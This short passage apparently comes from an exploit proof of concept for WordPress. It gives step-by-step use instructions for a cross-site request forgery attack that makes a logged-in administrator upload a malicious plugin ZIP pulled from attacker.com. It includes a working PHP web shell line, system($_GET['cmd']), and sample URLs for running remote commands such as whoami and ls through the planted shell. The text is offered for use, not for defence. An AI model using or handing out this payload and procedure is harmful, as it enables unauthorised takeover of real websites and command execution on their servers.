📌 Replace:

http://target.com/ with the vulnerable WordPress site
http://attacker.com/shell.zip with a malicious ZIP payload containing a web shell.

🔹 Malicious PHP Shell Example

<?php system($_GET['cmd']); ?>

📌 After successful exploitation, access the shell:

http://target.com/wp-content/plugins/shell.php?cmd=whoami

🚀 How to Use

Host the HTML file on an attacker-controlled website.
Send the malicious link to an authenticated WordPress administrator.
Once the admin visits the page, the shell gets uploaded automatically.

Execute commands remotely using:

http://target.com/wp-content/plugins/shell.php?cmd=ls
